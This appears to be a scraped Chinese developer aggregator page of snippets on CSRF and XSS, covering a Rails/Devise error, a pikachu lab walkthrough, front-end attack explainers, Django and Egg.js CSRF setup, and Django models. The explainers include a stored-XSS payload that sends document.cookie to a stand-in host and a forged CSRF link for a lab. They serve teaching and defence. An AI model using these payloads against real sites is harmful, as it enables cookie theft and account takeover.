csrf

Heroku/Rails/Devise: The change you wanted was rejected

烈酒焚心 提交于 2020-05-13 04:12:06
问题 I'm having a problem with my Rails 4.2 app running the latest version of Devise on Heroku. I'm going to preface this by stating that I have not pushed any code changes to production in quite some time and that this issue only started recently. When I go to log in, I receive an error saying "The change you wanted was rejected." When I view the logs, I can see that it's a problem with the CSRF token. 2015-04-04T19:52:22.430533+00:00 app[web.1]: Started POST "/users/sign_in" for 76.119.72.58 at

pikachu漏洞平台之CSRF

我们两清 提交于 2020-04-04 19:28:42
CSRF简介 CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造 在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接) 然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了 所以CSRF攻击也被称为“one click”攻击 CSRF和XSS区别 XSS目标在于获取用户cookie,利用cookie伪装为受害者身份进行登录进而造成破坏, CSRF并没有获取到用户的权限,而是利用用户的权限执行我们的payload进行攻击 1.CSRF(get实验) 首先我们先登录 我们先将地址随意修改一个值,然后通过brup suite抓包查看一下,从get提交里面发现请求连同信息都包含在了url里面,包括敏感信息,这时假如我是攻击者,我在这个平台上申请一个账号,然后修改密码,通过这样抓包我就获取到了这个get请求,稍作修改我就可以将其变成一个链接,发给lucy后就可以把他的信息修改了。 例如我现在伪造一个链接 192.168.42.122/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=zhangjiakou&email=lucy%40pikachu.com&submit=submit

关于前端的网络攻击

流过昼夜 提交于 2020-04-04 15:41:34
XXS跨站脚本攻击 XSS即跨站脚本(cross site script),XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。 存储型XSS攻击 通过一些用户可以输入的界面,比如评论,填入一些非法字符,如><script>alert(document.cookie)</script>等类似的方式,导致网页做些这个“史壳郎”想要的一些操作。 这种现象的产生原因是,前端模板或者后端模板在渲染的时候没有进行字符转译,导致 <> 这样的字符直接就渲染到了页面上。所以,我们只需要在渲染前做一次转译,将这些符号转为字符实体就好了。现在的前端库,如vue,react,前端模板ejs,juicer,后端模板smarty,blade等,都已经内部做了转译了,可以直接使用。 如: 如果前端后端都没有做任何处理的话,以下这段评论在提交以后就会原封不动地展示在html上。而这个时候,script里的代码执行了,导致所有访问这个页面的用户的cookie都发送到了黑客指定的API。 前端倒是在渲染的时候可以做相应的处理,比如可以用以下方法处理: processedContent(comment) { return comment .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g,

黑客通常在用这 4 种方式攻击你!(内附防御策略)

假如想象 提交于 2020-03-26 06:45:12
黑客通常在用这 4 种方式攻击你!(内附防御策略) XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。https://www.cnblogs.com/chengxy-nds/p/12217990.html 一、跨站脚本攻击 概念 跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。 攻击原理 例如有一个论坛网站,攻击者可以在上面发布以下内容: <script>location.href="//domain.com/?c=" + document.cookie</script> 之后该内容可能会被渲染成以下形式: <p><script>location.href="//domain.com/?c=" + document.cookie</script></p> 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 危害 窃取用户的 Cookie 伪造虚假的输入表单骗取个人信息 显示伪造的文章或者图片 防范手段 1. 设置 Cookie 为 HttpOnly 设置了 HttpOnly 的

Django cookie和session

大兔子大兔子 提交于 2020-03-25 05:47:34
一、会话跟踪技术 1.1 什么是会话跟踪 我们需要先了解一下什么是会话!可以把会话理解为客户端与服务器之间的一次会晤,在一次会晤中可能会包含多次请求和响应。例如你给10086打个电话,你就是客户端,而10086服务人员就是服务器了。从双方接通电话那一刻起,会话就开始了,到某一方挂断电话表示会话结束。在通话过程中,你会向10086发出多个请求,那么这多个请求都在一个会话中。 在Web中,客户向某一服务器发出第一个请求开始,会话就开始了,直到客户关闭了浏览器会话结束。 在一个会话的多个请求中共享数据,这就是会话跟踪技术。例如在一个会话中的请求如下:  请求银行主页; 请求登陆 (请求参数是用户名和密码) 请求转账(请求参数与转账相关的数据) 请求信誉卡还款(请求参数与还款相关的数据) 在这上会话中当前用户信息必须在这个会话中共享的,因为登录的是张三,那么在转账和还款时一定是相对张三的转账和还款!这就说明我们必须在一个会话过程中有共享数据的能力。 1.2会话路径技术使用Cookie或session完成 我们知道HTTP协议是无状态协议,也就是说每个请求都是独立的!无法记录前一次请求的状态。但HTTP协议中可以使用Cookie来完成会话跟踪!在Web开发中,使用session来完成会话跟踪,session底层依赖Cookie技术。 二、cookie介绍 cookie的由来。

Django中decorators装饰器的使用

主宰稳场 提交于 2020-03-25 04:50:21
1、CBV实现的登录视图 class LoginView(View): def get(self, request): """ 处理GET请求 """ return render(request, 'login.html') def post(self, request): """ 处理POST请求 """ user = request.POST.get('user') pwd = request.POST.get('pwd') if user == 'alex' and pwd == "alex1234": next_url = request.GET.get("next") # 生成随机字符串 # 写浏览器cookie -> session_id: 随机字符串 # 写到服务端session: # { # "随机字符串": {'user':'alex'} # } request.session['user'] = user if next_url: return redirect(next_url) else: return redirect('/index/') return render(request, 'login.html') 2、要在CBV视图中使用我们上面的check_login装饰器,有以下三种方式: 2.1、加在CBV视图的get或post方法上 from

Django开发纯后台服务的时候遇到CSRF引起的报错

◇◆丶佛笑我妖孽 提交于 2020-03-09 06:50:24
Django视图: 当请求为post请求时会遇到CSRF的报错,Django针对CSRF的保护措施是在生成的每个表单中放置一个自动生成的令牌,通过这个令牌判断POST请求是否来自同一个网站,只需要在form表单中添加{% csrf_token %} Django纯后端服务:    当请求是post请求时此时也会出现上面的报错,这个时候我是去settings.py将 MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', #'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ]中的'django.middleware.csrf

Egg 安全机制 CSRF 的防范

耗尽温柔 提交于 2020-03-08 18:52:03
网址: http://eggjs.org/zh-cn/core/security.html 方式一: 在 controller 中通过参数传入模板 /** * 方式一:在 controller 中通过参数传入模板 * this.ctx.csrf 用户访问这个页面的时候生成一个密钥 */ await ctx.render('home', { csrf: this.ctx.csrf }); 方式二: 通过创建中间件,设置模板全局变量 app/middleware/auth.js /** * 同步表单的 CSRF 校验 */ module.exports = (options, app) => { return async function auth(ctx, next) { // 设置模板全局变量 ctx.state.csrf = ctx.csrf; await next(); } } config/config.default.js // 增加配置中间件 config.middleware = ['auth']; controller 中使用 /** * 方式二:通过创建中间件,设置模板全局变量 * config.middleware = [auth']; */ await ctx.render('home'); 模板: app/view/home.html <!DOCTYPE

Django中Ajax提交数据的CSRF问题

£可爱£侵袭症+ 提交于 2020-03-07 05:28:47
错误信息: Forbidden (CSRF token missing or incorrect.): 什么是CSRF: django为用户实现防止跨站请求伪造的功能,通过中间件 django.middleware.csrf.CsrfViewMiddleware 来完成。而对于django中设置防跨站请求伪造功能有分为全局和局部。 全局: 中间件 django.middleware.csrf.CsrfViewMiddleware 局部:from django.views.decorators.csrf import csrf_exempt,csrf_protect @csrf_protect,为当前函数强制设置防跨站请求伪造功能,即便settings中没有设置全局中间件。 @csrf_exempt,取消当前函数防跨站请求伪造功能,即便settings中设置了全局中间件。 原理 当用post提交数据的时候,django会去检查是否有一个csrf的随机字符串,如果没有就会报错 这里我测试的是用Ajax提交的方式: 方法一:在urls.py中添加csrf_exempt,过滤csrf from django.views.decorators.csrf import csrf_exempt url(r'^api/v1/some-resource$', csrf_exempt

django进阶

我们两清 提交于 2020-03-07 04:41:09
django ORM操作 models.py from django.db import models # Create your models here. class Book(models.Model): name = models.CharField(max_length=128) price = models.PositiveSmallIntegerField(null=True)#正数,null=True不是必填 authors = models.ManyToManyField('Author') publisher = models.ForeignKey('Publisher') pub_date = models.DateField() # memo = models.CharField(null=True,max_length=64)数据库新增字段的时候,需要加上null=True #为了在查询时显示对象的名字 def __str__(self): return self.name class Author(models.Model): name = models.CharField(max_length=32) email = models.EmailField(unique=True) def __str__(self): return self.name